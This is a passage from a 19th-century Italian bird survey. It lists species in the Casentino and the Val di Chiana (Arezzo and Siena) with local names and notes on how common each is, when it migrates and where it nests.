torquata, Merlo col collare, Merlo col vezzo. Non frequent in ottobre ai monti, forse nidificante (B. P.); anche sedentario (F.). Turdus pilaris, Cesessa, Cegessa. Non comune tutti gli anni, passa in ottobre (B. F. P.). Turdus iliacus, Sassello. Frequente in ottobre (B.); passa anche in marzo (F. P.). Turdus musicus, Tordo, Tordo bottaio. Nidificante e comune (B. F. P.); passa in marzo ed ottobre (B. F.). Turdus viscivorus, Tordela. Comune e sedentaria (B. F. P.). Oreocinclla varia. Accidentale (B.); uno ucciso a Poggio Scali il 14 ottobre 1873 (Avif. Ital. pag. 103). Aëdon Luscinia, Usignolo. Comune, estivo e nidificante (B. P. F.). Erithacus Rubecula, Pettiroso. Nidificante, frequente (B. P.); anche sedentario (F. P.). Cyanecula Wolfi, Pett'azzurro. Raro assai (B.). Ruticilla Phœnicurus, Codirosso, Codirossolo. Frequente in maggio e settembre, nidificante (B. P. F.). Ruticilla titys, Spazzacamino. Non comune, nidificante; vede si in maggio ed in settembre (B. F.). Pratincola Rubicola, Saltastecce. Comune e sedentario (B. F. P.). Pratincola Rubetra, Saltastecce. Frequente, estiva e nidificante (B. P.). Sylvia orphæa, Sepajola. Non comune, nidificante (B.). Sylvia cinerea, Sepajola. Non comune, nidificante (B. P.). Sylvia subalpina, Sepajola. Non comune (B.). Monachus Atricapillus, Sepajola, Capinera. Frequente, nidificante (B.); sedentaria (F. P.). Monachus hortensis, Beccafico. Non comune, giunge in aprile e parte in settembre (B. F. P.). Melizophilus undatus. Rara (B.). Phylloscopus sibilator, Luì. Non comune in aprile e settembre; anche nidificante (B. P.). Phylloscopus Trochilus, Luì. Frequente, di passo in aprile e settembre, nidificante (B. P.). Phylloscopus Bonellii, Luì. Non comune (B.). Phylloscopus rufus, Luì. Non comune, nidificante (B. P.); sedentario (F.). Hypolais icterina, Luì, Beccafico. Estivo, non comune (B.). Hypolais polyglotta, Beccafico, Luì. Comune, estivo (P.). Troglodytes parvulus, Scrisciolo, Sborro. Comune e sedentario (B. F. P.). Cinclus aquaticus, Merlo acquajolo. Comune (B.); sedentario (F. P.). Accentor collaris, Uccello della neve, Grottajone. Raro in novembre e dicembre (B. F.). Accentor modularis, Scopajola, Scopina. Nidificante e frequente (B. P.); sedentaria (F.). Regulus cristatus, Arancino. Nidificante e frequente (B.); sedentario (F.). Regulus ignicapillus, Arancino. Nidificante e meno frequente (B.); sedentario (F. P.). Acredula Irbyi, Codibugnolo. Frequente ovunque e sedentario (B. P.). Parus major, Capinera, Fiaschetta. Abbondante e sedentaria (B. F. P.). Parus ater, Capinera, Capinera piccola. Non frequente, ma sedentaria (B. F. P.). Cyanistes caeruleus, Cincina, Capinera piccola. Abbondante e sedentaria (B. F. P.). Poecele palustris, Capinera. Non comune (B.). Sitta cæsia, Picchio muratore, Picchiotto. Frequente e sedentario (B. F. P.). Certhia brachydactyla, Picchio farfallino. Comune e sedentario (B. F. P.). Tichodroma muraria, Picchio ragno. Non comune (B. P.); ma sedentario (F.). Oriolus Galbula, Golo, Rigogolo. Comune al piano, estivo e nidificante (B. F. P.). Lanius minor, Castrice. Frequente, giunge in aprile e parte nella prima metà di settembre (B. P.). Lanius Collurio, Castrice. Abbondante, arriva in aprile, parte in settembre (B. P.); trovai un nido con 3 pulcini sul monte della Consuma il 20 agosto (P.). Lanius auriculatus, Castrice. Frequente, giunge in aprile, parte in settembre (B.). Muscicapa collaris, Bucciajola. Estiva, non comune (B. P.). Muscicapa Atricapilla, Bucciajola. Estiva, non comune (B. F.). Butalis Grisola, Chiappamosche. Non frequente, estiva e nidificante (B.). Hirundo rustica, Rondine. Abbondante, giunge in marzo, parte in ottobre (B. F. P.). Chelidon urbica, Balestruccio. Abbondante, giunge in marzo, parte in ottobre (B. F. P.). Clivicola riparia. Non comune (B.). Cypselus Apus, Rondone. Abbondante, giunge in maggio, parte in settembre (B. F. P.). Caprimulgus europaeus, Cova-in-terra. Non frequente, giunge in maggio, parte in settembre-ottobre (B. F. P.). Picus major, Picchio rosso. Non comune, sedentario (B. F. P.). Picus Lilfordi. Accidentale, un maschio preso a Camaldoli nell'agosto 1883 (Avif. Ital. pag.: 202, B. P.); ne ebbi un secondo il 20 ottobre 1888 (B.). Picus minor, Picchio rosso piccolo. Raro, ma nidificante (B. F. P.). Gecinus viridis, Picchio gallinaccio, Picchio verde. Frequente e sedentario (B. F. P.). Iynx Torquilla, Collotorto. Comune, estivo (B. F. P.). Cuculus canorus, Cucco. Frequente, giunge in aprile, parte in settembre (B. F. P.). Alcedo Ispida, Uccel Santa Maria, Beccapeschi, Chiappapeschi. Comune al piano, sedentario (B. F. P.). Coracias Garrula, Ghiandaja di mare. Non comune (B.). Merops Apiaster, Grottajone. Scarso (B.). Upupa Epops, Bubbola. Comune, arriva in marzo, parte in settembre-ottobre (B. P.); passa anche in maggio (F.). Strix flammea, Barbagianni. Comune al piano, sedentario (B. F. P.). Syrnium Aluco, Allocco. Comune ai monti e sedentario (B. F. P.). Asio Otus, Gufo, Allocco. Non comune, ma sedentario (B. P.). Asio accipitrinus, Gufo, Allocco. Non comune (B. P.). Athene Noctua, Civetta. Comune al piano, sedentaria (B. F. P.). Scops Giu, Chiù. Comune al piano da marzo ad ottobre (B. F. P.). Bubo maximus, Gufo reale. Raro ai monti (B.); sedentario (F.). Circus aeruginosus, Falco. Scarso al piano (B.). Circus cyaneus, Falco. Raro al piano (B.). Aquila Chrysaëtus, Aquila. Sedentaria ai monti (B. F. P.). Buteo vulgaris, Falco, Falco cappone. Comune ai monti e sedentario (B. F. P.). Pernis apivorus, Falco. Raro (B.). Milvus Ictinus, Falco. Raro (B.). Hypotriorchis Subbuteo, Lodolajo. Non raro, di doppio passo (P. F.). Cerchnéis Tinnunculus, Gheppio. Comune e sedentario (B. P.). Cerchnéis vespertinus, Falchetto. Di passo irregolare in aprile, non comune (B.). Astur palumbarius, Astore. Non frequente, ma sedentario (B. F. P.). Accipiter Nisus, Falchetto, Sparviere. Comune e sedentario (B. F. P.). Ardea cinerea, Scarza, Scarza bigia. Comune al piano in marzo ed aprile (B. P.). Ardea purpurea, Scarza, Scarza rossa. Comune al piano in aprile (B. P.). Egretta Garzetta, Scarza bianca. Rara in aprile (B. P.). Ardeola ralloides, Scarzetta. Rara in aprile (B. P.). Ardetta minuta, Scarzetta. Non comune in aprile (B. P.). Botaurus stellaris, Tarabuso. Non comune in marzo (B. P.). Nycticorax griseus, Scarzotto, ?Pavone africano. Comune al piano in aprile (B. P.); passa in maggio (F.). Ciconia alba, Ciconia. Accidentale, una venne uccisa a Poppi alla fine del maggio 1887 (B.). Ciconia nigra, Cicogna. Accidentale, una venne presa a Poppi (B. P.). Plegadis Falcinellus, Mignattajo. Ebbi uno a Bibbiena il 5 ottobre 1888 (B.). Anser segetum, Oca selvatica. Rara (B. P.). Anas Boscas, Germano reale. Frequente al piano in marzo-aprile (B.); anche in gennaio (F. P.). Nettion Crecca, Arzavola, Germano. Scarsa in marzo-aprile (B. F. P.). Querquedula Circia, Marzajola. Scarsa in marzo-aprile (B.F.P.). Fulix Nyroca, Morettone. Raro in marzo-aprile (B.). Mergellus Albellus, Pesciàjola. Accidentale in marzo (B.). Columba Palumbus, Colombaccio. Frequente nel passo d’ottobre, scarso in quello di marzo; nidificante (B. P.); anche sedentario (F.). Columba Oenas, Colombella. Non comune, forse nidificante (B.); di doppio passo (F. P.). Turtur tenera, Tortora. Abbondante, giunge in aprile, parte in settembre-ottobre (B. F. P.). Perdix saxatilis, Coturnice. Rara (B.). Starna Perdix, Starna. Comune e sedentaria (B. F. P.); si distingue la razza « stipajola » che fu assai abbondante nel 1887 (F.). Coturnix communis, Quaglia. Frequente, passa alla fine di aprile ed in settembre (B. F.); nidificante (P.). Rallus aquaticus, Gallinella. Comune in marzo (B.); ed in autunno (F. P.). Ortygometra Porzana, Schiribilla, Voltolino. Non comune in aprile (B. P.). Ortygometra Bailloni, Schiribilla. Non comune in aprile (B. P.). Ortygometra parva, Schiribilla. Non comune in aprile (B. P.). Crex pratensis, Re di quaglie. Scarso in aprile (B.); passa anche in autunno (F. P.). Gallinula chloropus, Sciabiga. Non comune in aprile (B.). Fulica atra, Folaga. Rara in marzo (B.); accidentale in autunno (F. P.). Ædicnemus scolopax, Occhione, Tallurino. Non comune in marzo (B. P.). Charadrius Pluvialis, Piviere. Non comune, passa in marzo (B. P.). Eudromias Morinellus, Piviere tortolino. Non raro di passo (P.). Ægialitis curonica, Corriere. Non frequente in aprile (B.); nidificante, presi un pulcino il 30 agosto lungo l’Arno presso Pratovecchio (P.). Vanellus Capella, Pavoncella. Non comune in marzo (B.); ed in autunno (F. P.). Himantopus candidus, Cavalier d'Italia. Raro in aprile (B.). Machetes Pugnax, Gambetta. Scarsa nel marzo (B.). Tringoides Hypoleucus, Martinello. Frequenti in marzo ed aprile (B.). Totanus Ochropus, Culbianco acquatico. Raro in maggio (F.). Limosa melanura, Pittima. Rara in marzo (B.). Scolopax Rusticula, Beccaccia. Abbondante in novembre, scarsa in marzo; nel settembre 1885 ne venne trovata una (B.); si vede anche in febbraio (F. P.). Gallinago major, Croccolone. Scarso in marzo ed ottobre (B.); passa in maggio (F. P.). Gallinago caelestis, Beccaccino. Non comune in marzo ed ottobre (B. F. P.). Gallinago Gallinula, Vuota borse. Non comune (B.); in autunno (F. P.). Numenius tenuirostris, Chiurlo. Raro in marzo (B.). Sternula minuta, Rondine di mare. Rara in aprile (B. P.). Hydrochelidon nigra, Rondine di mare. Non frequente in aprile e settembre (B. P.); avuta anche l'8 ottobre (B.). Chrooecephalus ridibundus. Accidentale, preso in febbraio 1888 (B.). Colymbus septentrionalis, Strolaga. Accidentale (B.). Podiceps fluviatilis, Tuffetto. Non comune (B.); in autunno (F. P.). Arezzo e Siena, distretto di Val di Chiana (Arrighi-Griffoli nob. ing. Giacomo): La Valle della Chiana prende il nome dal canale della Chiana, il quale fu artificialmente creato a raccogliere le acque che un tempo impaludavano gran parte della pianura e versarle nel fiume Arno, dopo un percorso di oltre trenta chilometri dalla sua origine presso i laghi di Montepulciano e Chiusi, ai quali serve di emissario, e la serra detta dei Monaci, in prossimità di Arezzo, ove sbocca in Arno. La Valdichiana varia molto in larghezza, non è interamente pianeggiante, ma è tagliata longitudinalmente da piccole e numerose catene di colline poco elevate. Essa si stende fra la catena dei contrafforti Appenninici che la limitano all’Est dividendola dalla valle del Tevere, sino all’altra catena di colline elevate che servono di base al gruppo montuoso che ha per culmine il monte Amiata. L’asse longitudinale della Valle, da Sud a Nord, e il suo territorio, è diviso in vari Comuni che fanno parte rispettivamente delle province di Arezzo, di Siena e di Perugia. Le mie osservazioni di cacciatore e di dilettante di Ornitologia, si sono fermate principalmente alla parte superiore della Valle della Chiana, che è anche la più larga, e precisamente dal territorio di Chiusi (provincia di Siena) a quello di Monte San Savino (provincia di Arezzo). I laghi di Chiusi e di Montepulciano, come pure (sebbene più di rado) il Trasimeno, furono da me spesso frequentati a scopo di caccia e di raccolte ornitologiche, come pure le adiacenze del canale della Chiana e le grandi colmate che si trovano nei Comuni di Foiano e di Cortona. Però il territorio del Comune di Lucignano, avendo in questo la mia stabile dimora e vasto possedimento, sia in piano, sia in colle, e coltivato e boscoso, fu quello naturalmente più spesso e con maggior cura esplorato e che maggiormente contribuì a costituire la piccola raccolta ornitologica la quale oggi mi serve di base per riportare in questo formulario, con la maggior possibile esattezza, tutte quelle osservazioni (non molte in vero) che ebbi luogo di fare in questi ultimi 10 anni, cioè da che incominciai ad occuparmi di Ornitologia. Come si potrà desumere dall’elenco delle specie osservate di passaggio normale o irregolare, di accidentale comparsa oppure stazionarie, la Valdichiana può dirsi orniticamente assai ricca e ciò è da attribuirsi alla ubicazione sua nel centro della penisola e proprio sulla grande strada che seguono gli uccelli nelle loro periodiche migrazioni. Elenco delle specie di uccelli osservate nella Val di Chiana, provincia di Arezzo e di Siena, coi nomi volgari locali e notizie sulla frequenza, migrazioni, nidificazione, ec., ec.¹ Corvus Cornix, Cornacchia. Assai comune all'epoca del passo; se ne vedono in ogni stagione, è nidificante nei nostri boschi. Corvus frugilegus, Corvo. Comunissimo nei due passi, in inverno staziona in grossi branchi nei nostri piani e alla sera alloggia nei boschi di Lecci sui colli circoscritti vicini. Lycos Monedula. Accidentale. Pica rustica, Gazza o Cecca. Comune assai; specie sedentaria, nidifica sugli alti alberi specialmente sui pini. Garrulus glandarius, Ghiandaja. Comunissima e sedentaria in bosco e piano. Sturnus vulgaris, Storno. Comunissimo nei due passi in pianura; qualche coppia nidifica presso i nostri laghi ove è sedentario. Fringilla coelebs, Fringuello. Comunissimo in ogni stagione. Fringilla Montifringilla, Peppola. Comune nel passo di autunno, meno in quello di primavera. Petronia stulta, Lagia. Comune in ogni stagione, nidifica nei boschi; si riunisce in branchi numerosi verso il settembre. ¹ Il signor G. Arrighi-Griffoli, appassionato cultore della Ornitologia, ha riunito nella sua villa di Fabbriche una bellissima raccolta che illustra in modo quasi completo la Avifauna della Val di Chiana. Passer montanus, Passera salcina. Numerosa e sedentaria, nidifica nei tetti e sugli alberi, frequenta più il piano che il colle. Passer Italiae, Passera. Comunissima e numerosissima, danneggia le raccolte del frumento e cereali affini. Sedentaria. Coccothraustes vulgaris, Frusone. Non è in ogni anno egualmente abbondante, in primavera scarsissimo, qualche coppia nidifica. Ligurinus Chloris, Verdone. Comune assai, nidifica; nel passo di autunno è più abbondante. Chrysomitris Spinus, Lucherino. Era abbondantissimo nel passo di autunno anni indietro, adesso è fatto scarsissimo, non si vede fuori del passo. Carduelis elegans, Calderino. Comune in ogni stagione, in piano e in monte. Serinus hortulanus, Raperino. Comune come la specie precedente e sedentario. Cannabina Linota, Montanello. Comune nei due passi, si trova sedentario in ogni stagione. Pyrrhula europaea, Fringuello marino. Se ne vedono in novembre, ma non in ogni anno egualmente, rarissimo in primavera. Loxia Curvirostra, Crociere. Poco frequente, pure qualcuno se ne vede. Miliaria Projer, Strillozzo. Non molto frequente, pure se ne vedono in ogni stagione. Emberiza Citrinella, Pagliaresca. Poco comune nel passo di autunno, raro in primavera. Emberiza Cirlus, Zigolo o Nizzola. Comune nella fine del passo autunnale e nell'inverno, raro in altre stagioni. Emberiza Hortulana, Ortolano. Comune e nidificante da noi, più frequente in fine di agosto e settembre. Emberiza Cia, Nizzola. Comune nel passo di autunno, raro in altre stagioni. Emberiza Schœniclus, Muciatto. Comune nei due passi, specialmente in piano. Emberiza pyrrhuloides, Passera di padule. Se ne trovano, ma scarse, ai laghi nostri, e probabilmente vi nidificano. Melanocorypha Calandra, Calandra. Qualcuna se ne vede nel passo di autunno, ma di rado. Calandrella brachydactyla, Calandrino. Di passo in primavera specialmente. Alauda arborea, Lodolino. Comune e nidificante, più frequente nel passo. Alauda arvensis, Lodola buona. Comunissima in ogni stagione nei luoghi aperti e spogliati, nidifica in buon numero; nei due passi è la specie più numerosa. Galerita cristata, Cappellaccia. Comune e sedentaria affatto, in piano e in colle. Agrodroma campestris, Calandro. Poco frequente nel passo di autunno e anche meno in quel di primavera. Anthus pratensis, Pispolo o Babbusso. Comunissima nei due passi e nell'inverno, in grossi branchi nelle pasture del piano. Anthus Spipoletta, Fosso o Fossaccio. Comune nei due passi (ott. e marzo); l'ho trovato in fine aprile a Chiusi sul lago. Anthus trivialis, Pispolone o Tordina. Comunissimo in agosto (fine) e settembre, raro in primavera. Budytes flavus, Codazzinzola o Boarina. Comune nei due passi (marzo-aprile e agosto-settembre) in pianura. Budytes cinereocapillus. Si confonde dai cacciatori colla specie precedente di cui è assai meno frequente. Motacilla alba, Codazzinzola o Zinzella. Comune e stazionaria: nidifica spesso sui tetti insieme al Passer Italic e al P. montanus. Saxicola Oenanthe, Culbianco. Comune nei due passi (marzo-aprile ed agosto-settembre) nei luoghi aperti e nudi, in piano e in colle. Saxicola Stapazina, Culbianco. È confusa colla specie precedente, però qualcuna se ne vede nel passo mista alla S. Oenanthe. Monticola saxatilis, Codirossone. Di rado qualcuno se ne vede in colle. Monticola Cyanus, Passera solitaria. Comune e stazionaria presso l'abitato, nidifica sui tetti e vecchie fabbriche. Merula nigra, Merlo. Comune e stazionario. Turdus pilaris, Tordela o Cesena. Poco frequente in autunno e inverno. Turdus iliacus, Alpigino. Comune nei due passi, ma tardivo in autunno. Turdus musicus, Tordo. Comunissimo in autunno, inverno e primavera, in questa epoca si trova più in piano che in colle. Turdus viscivorus, Gazzarro. Stazionaria e meno comune ora che in passato. Aëdon Luscinia, Rusignolo. Comunissimo nella buona stagione. Erithacus Rubecula, Pettiere. Comunissimo nei passi e d'inverno, qualcuno passa l'estate nei boschi folti e vi nidifica. Cyanecula Wolfi, Pettazzurro. Ho veduto (ma non ho mai ucciso) dei Pettazzurri sui nostri laghi in primavera. Ruticilla Phoenicurus, Codiroso. Comune nei due passi (marzo e settembre); scarso nell'inverno. Ruticilla titys, Codiroso. Più scarso della precedente, raro nell'inverno. Pratincola Rubicola, Saltimpalo. Stazionario e comune specialmente in piano. Pratincola Rubetra. Di passo in marzo e settembre fra noi, qualcuno rimane l'estate; è confusa colla specie precedente di cui è meno frequente. Sylvia orphæa, Beccafico. Raro da noi, pure ogni anno qualcuno se ne vede in primavera (aprile); non nidifica. Sylvia cinerea, Sterpazzola. Comunissima in aprile, rara in estate nei boschi. Sylvia Curruca. È confusa colla precedente di cui è più scarsa. Monachus Atricapillus, Beccafico o Capinera. Comune e stazionaria, nei boschi. Monachus hortensis, Beccafico. Comunissimo in settembre e ottobre anche, raro nell'inverno. Pyrophthalma melanocephala, Occhio rosso. Non è frequente, ma è stazionario. Melizophilus undatus, Occhiorosso. Sedentario e comune nei nostri boschi. Phylloscopus sibilator, Luì. Comunissimo nel passo di primavera (aprile), nei boschi. Phylloscopus Trochilus, Luì. Meno comune della specie precedente alle stesse epoche. Phylloscopus rufus, Luì. Sedentario, ma nel passo è assai più numeroso, specialmente in primavera. Hypolais icterina, Beccafico canapino. Questa specie confusa colla seguente, si trova in estate al piano, specialmente nei campi di canape. Hypolais polyglotta, Beccafico canapino. Estivo al piano. Acrocephalus streperus, Cannaiola. Comune sui nostri laghi, in primavera ed estate. Acrocephalus arundinaceus, Cannaiola. Comunissimo in primavera ed estate sui laghi. Calamodus schœnobænus, Forapaglie. Si trova sui nostri laghi, ma in scarso numero. Calamodus aquaticus, Forapaglie. Come la specie precedente, è poco frequente. Lusciniola melanopogon, Forapaglie. Più rara che le precedenti. Cettia Cettii, Rusignolo di palule. Specie poco comune, ma sedentaria. È poco conosciuta dai cacciatori, al pari dei Forapaglie, poiché tutte queste specie di uccelletti stanno sempre nel più folto dei canneti, e non vengono uccisi a scopo di lucro. Troglodytes parvulus, Scricciolo. Comune nei boschi nei due passi e nell’inverno. Cinclus aquaticus, Merlo acquaiolo. Qualcuno se ne trova nel Cortonese, ma poco comune, è sedentario. Accentor collaris, Sordone. Raro da noi, tranne nei grandi freddi in cui se ne sono veduti più volte. Accentor modularis, Passera matta o scopina. Comune nei due passi e in inverno, nei boschi e siepi. Regulus cristatus, Arancino. Questa e la specie seguente vengono confuse, sono comuni in autunno e primavera, e svernano in buon numero nei nostri boschi. Regulus ignicapillus, Arancino. Invernale e comune. Ægithalus pendulinus, Fiaschettone. È stato trovato talvolta il nido di questa specie sul lago di Chiusi fra i canneti e le salciaie, però la credo rara. Acredula Irbyi, Codibugnolo. Comune e sedentario fra noi. Panurus biarmicus, Monachina. Era prima assai comune e nidificava in buon numero sui laghi nostri, in questi ultimi anni si è fatto assai scarso. Parus major, Potazzina o Perlina. Sedentaria e comune in piano e in colle. Parus ater, Cincia nera. Alcuni anni in autunno (settembre) assai frequente, rarissima in primavera (marzo), non si trattiene. Cyanistes caeruleus, Potazzina piccola. Sedentaria nei nostri boschi, ma non molto comune; più frequente in autunno nel passo. Sitta cæsia, Picchietto. Sedentario, ma non molto comune come lo era prima, forse pei diboscamenti. Certhia brachydactyla, Rampichino. Comune e sedentario ovunque. Trichodroma muraria, Picchio murajolo. Se ne vede qualcuno, ma raramente negli inverni crudi. Oriolus Galbula, Golo. Comune in estate nei boschi, ove nidifica in copia. Lanius Excubitor, Vastrica colombina. Piuttosto rara, ne ho vedute in inverno e primavera (marzo). Lanius minor, Vastrica. È poco frequente, ne ho uccise in estate e anche talvolta in ottobre. Lanius Collurio, Vastrica. È la specie più comune, nidifica nei nostri boschi. Lanius auriculatus, Vastrica a capo rosso. Piuttosto comune nei nostri piani in estate. Muscicapa collaris. Accidentale affatto. Muscicapa Atricapilla, Beccamosche. Piuttosto comune nel passo di primavera (aprile), non l’ho mai veduta in autunno. **Butalis Grisola, Beccamosche.** Comune in primavera (aprile-maggio), ma per pochissimi giorni, non l’ho mai veduta in autunno. **Hirundo rustica, Forcinella.** Comunissima, specie estiva. **Chelidon urbica, Balestruccio.** Comunissima, specie estiva. Presso Cortona ne ho veduto volare uno in gennaio. **Clivicola riparia, Topino.** Comune in estate in pianura nelle colmate, dove arriva insieme alle altre Rondini. **Cypselus Apus, Rondone.** Comunissimo negli abitati, arriva in aprile e parte in agosto. **Caprimulgus europaeus, Piattone.** Comune nei due passi (aprile-maggio ed agosto-settembre), ma non si ferma che pochissimo. **Picus major, Picchio rosso o Picchio cavallo.** Sedentario, ma scarso. **Picus minor, Picchio rosso piccolo.** Sedentario, ma scarsissimo. **Gecinus viridis, Picchio galletto.** Sedentario ed assai più frequente delle specie di Picchi sopraccennate. **Lynx Torquilla, Torcicollo.** Comune in estate, giunge in primavera e riparte in settembre, però ne ho uccisi nell’inverno (dicembre). **Cuculus canorus, Cuculo.** Comune nei nostri boschi, dove comparisce ai primi di aprile e rimane sino ai primi di settembre. **Coccystes glandarius.** So di uno solo che fu mangiato; vidi le penne. **Alcedo Ispida, Piombinello.** Piuttosto frequente lungo i fiumi e sui laghi, ove è sedentario. **Coracias Garrula, Ghiandaia marina.** Piuttosto rara, però ne ho vedute in primavera inoltrata, mai in autunno. **Merops Apiaster, Grottaione.** Comune, ma non ogni anno nella stessa misura; passa in maggio e settembre in grossi branchi. **Upupa Epopis, Bubbola.** Comune in estate nei boschi folti, in agosto si trova in pianura. Strix flammea, Barbaglianni. Sedentario e comune, nidifica nelle vecchie mura e nelle soffitte. Syrnium Aluco, Allocco. Sembra sedentario, ma non è comune, è più abbondante in autunno; abita i boschi, talvolta però è stato preso o veduto anche lontano da essi. Asio Otus, Gufo. Sedentario, ma non comune; forse sembra anche meno frequente per le abitudini essenzialmente notturne, come il seguente. Asio accipitrinus, Gufo. Viene abitualmente confuso con la specie precedente, ma mi sembra meno comune; sarebbe sedentario. Athene Noctua, Civetta. Sedentaria e comunissima. Scops Giu, Chiù. Comune assai in estate, ma non sverna. Bubo maximus, Gufo reale. Assai raro, ma talvolta ne sono stati visti e presi nei dintorni di Lucignano. Circus aeruginosus, Falco di padule. Sedentario, ma non comune sui nostri laghi; in primavera sembra che ne passino in buon numero. Circus cyaneus, Falco di padule bianco. Vedesi solo nell'epoca del passo, ma è piuttosto rara. Circus Swainsoni, Falco di padule bianco. Scarsa di passo. Circaëtus gallicus, Biancone. Non credo possa chiamarsi sedentario, però ne sono stati uccisi anche nell'inverno, forse venuti in cerca di cibo dalla vicina Maremma dove è molto più abbondante che da noi. Buteo vulgaris, Falco cappone. Sedentario e piuttosto comune. Pernis apivorus, Pecchiaiolo. Scarso da noi, si trova soltanto nell'epoca del passo in primavera. Milvus Ictinus, Nibbio. Scarso da noi, però ne sono stati visti e presi in varie stagioni. Milvus migrans, Nibbio nero. Raro da noi, pure ne ho visti e ne ho avuto uno ucciso presso Lucignano. Falco Peregrinus, Falcone. Scarso assai, ne ho avuti due uccisi nell'inverno. Hypotriorchis Subbuteo, Lodolaio. Specie piuttosto rara da noi, però ne ho visti parecchi in autunno, ma ne ho veduti ed uccisi anche in agosto e settembre, forse dovrebbe riguardarsi come sedentario per noi. *Æsalon regulus*, *Renello*. Piuttosto raro, si vede in autunno e ne ho presi spesso colle reti aperte tendendo alle Lodole. *Cerchneis Tinnunculus*, *Gheppio*. Comune e sedentario da noi. *Cerchneis Naumanni*, *Grillaio*. È piuttosto raro da noi, l’ho veduto ed ucciso in primavera presso i laghi di Chiusi e Montepulciano, dove era unito alla specie seguente. *Cerchneis vespertinus*, *Falcon cuculo*. È abbondantissimo in alcuni anni e scarso in altri, sempre per pochissimi giorni in primavera (raramente in autunno) nelle pianure e colmate. *Astur palumbarius*, *Astore*. Rara è questa specie, però quasi ogni anno ne ho veduti nel passo. *Accipiter Nisus*, *Sparviere*. È il più comune dei nostri Falchi, è sedentario, ma ne passano moltissimi in ottobre. *Pelecanus Onocrotalus*. Accidentale. *Phalacrocorax Carbo*, *Marangone*. Raramente, ma se ne vedono sui laghi d’inverno; dicono sia sedentario sul Trasimeno. *Ardea cinerea*, *Scarza*. Piuttosto comune nei due passi, l’ho veduto anche in inverno e estate, ma non ho mai constatato che nidificasse. *Ardea purpurea*, *Scarza rossa*. È comune in primavera (aprile) sui nostri paduli, l’ho trovato nelle colmate in giugno; forse venuto dalle vicine maremme dove nidifica, ripassa in settembre. *Egretta alba*, *Scarza bianca*. Comparisce accidentalmente sui nostri laghi d’inverno. *Egretta Garzetta*, *Mugnaio*. In alcuni anni è comune, in altri scarsa; si vede sui nostri paduli sempre in primavera (maggio o fine aprile), mai l’ho visto in autunno. *Ardeola ralloides*, *Gallina ceciata*. Comune in aprile (fine) e maggio sui nostri laghi, mai l’ho vista in autunno. *Ardetta minuta*, *Sgotto*. È numeroso nelle macchie di salci lungo i paduli da aprile a agosto. Botaurus stellaris, Capponaccio. Si può dire specie comune e anche sedentaria perché quasi in ogni stagione se ne trovano nei nostri paduli; è più frequente d'inverno. Nycticorax griseus, Bacco. È piuttosto comune in abito di gioventù sui nostri laghi in primavera (aprile), raro in autunno (ottobre). Ciconia alba, Cicogna. È piuttosto rara questa specie da noi e si vede solo in giugno, mai in autunno. Ciconia nigra. So di una sola cattura. Platalea Leucorodia, Spatola. Raramente se ne vedono nelle nostre colmate, ma vi capita certamente, avendone vedute due io stesso in primavera vari anni in dietro. Plegadis Falcinellus, Gallina giudea. È piuttosto abbondante nel passo di primavera, raro in quello d'autunno, anzi io, personalmente, non ne ho mai vedute in quest'epoca. Cygnus musicus. Accidentale. Anser segetum, Oca. Si vede di passaggio regolare in grandi branchi nei due passi, comparisce dalla vicina Maremma durante l'inverno. Tadorna cornuta. Accidentale. Anas Boscas. Comune è il Germano reale anche da noi nell'inverno, specialmente se il freddo è intenso; si può riguardare come specie sedentaria perchè nidifica sui nostri laghi. Chaulelasmus streperus, Erbaio, Marigiana. È piuttosto scarsa questa specie, pure ne ho veduto spesso dei branchi sul lago di Chiusi in primavera, ne ho avute anche in novembre e dicembre. Spatula clypeata, Specchio? o Cappellone. Non è comune sui nostri laghi e si vede in autunno e primavera. Dafila acuta, Codone o Codolo. Abbondantissimo nel passo di primavera per pochi giorni, meno in quello di autunno, sverna spesso da noi sui laghi e paduli. Mareca Penelope, Fischione. È forse la specie di Anatra più abbondante da noi nel doppio passo. Nettion Crecca, Grecorello o Barazzuolo. È comune nei due passi e d'inverno; sparisce al principio di primavera. Querquedula Circia, Gregorello o Racanella) Comune in marzo e aprile, non si vede in autunno; forse nidifica, avendone ucciso un giovane in luglio. Fuligula rufina, Fischione turco. Raramente si vedono di questa specie alcuni individui nell'inverno, sui nostri laghi. Fulix Marila. Accidentale. Fulix ferina, Bosco. Comune d'inverno e primavera sui nostri laghi che lascia in aprile. Fulix Fuligula, Moretta. Piuttosto comune nell'inverno, scarsa in primavera. Fulix Nyroca, Moretta tabaccata. Più comune della specie precedente in primavera, meno nell'inverno. Bucephala Clangula, Quattrochi. È piuttosto rara da noi questa specie, però ne ho visti più volte sempre d'inverno. Mergus Merganser. Accidentale, ebbi una sola femmina nel 1881. Mergus Serrator, Pesciailola grossa. Piuttosto raro in inverno sui nostri laghi. Mergellus Albellus, Pesciailola. Piuttosto comune (i giovani) durante gli inverni rigidi, l'ho vista sui nostri fiumi tuffarsi sotto il ghiaccio profittando dei fori che accidentalmente vi si trovano. Columba Palumbus, Colombaccio. Comunissimo nei due passi, è specie per noi sedentaria, perchè alcune coppie nidificano nei nostri boschi. Columba Oenas, Colombella. Comunissima nei due passi, e d'inverno in colle e in piano; non so che nidifichi. Turtur tenera, Tortora. È numerosa nei nostri boschi questa specie e vi nidifica, nella buona stagione; giunge in aprile (fine) e parte alle prime piogge del settembre. Perdix rufa. Accidentale. Starna Perdix, Starna. Comune e sedentaria nei nostri boschi e colline, scende al piano in autunno inoltrato. Coturnix communis, Quaglia. Comunissima nelle nostre pianure dove nidifica in copia; giunge alla fine di aprile, parte alla fine di agosto, talvolta ne sono rimaste e ne ho viste nell'inverno. *Rallus aquaticus*, *Spurcido*. Piuttosto comune sui nostri laghi e credo possa riguardarsi come specie sedentaria. *Ortygometra Porzana*, *Pollastrina*. Comunissima in primavera, meno abbondante in autunno; fosse nidifica in piccol numero nei canneti dei nostri laghi. *Ortygometra Bailloni*, *Cannellone*. Piuttosto scarsa questa specie sui nostri paduli, dove si confonde dai cacciatori colla seguente. *Ortygometra parva*, *Cannellone*. È piuttosto abbondante, ma per pochi giorni in primavera, scarsa in autunno. *Crex pratensis*, *Re di Quaglie*. È specie poco frequente da noi, si vede più frequente in estate che in altre stagioni; passa in aprile ed agosto-settembre. *Gallinula chloropus*, *Pollastrona*. Può dirsi sedentaria perchè se ne vedono in ogni stagione, è abbondante in marzo (fine) e aprile. *Fulica atra*, *Folcora*. È specie sedentaria, ma scarsa; è abbondantissima nei due passaggi sui nostri laghi. *Grus communis*, *Grù*. Si vede ogni anno di passaggio, ma non si ferma che raramente. *Otis Tetra*. Accidentale. *Edicnemus scolopax*, *Tallurino*. Si vede, ma in scarso numero nei due passi. 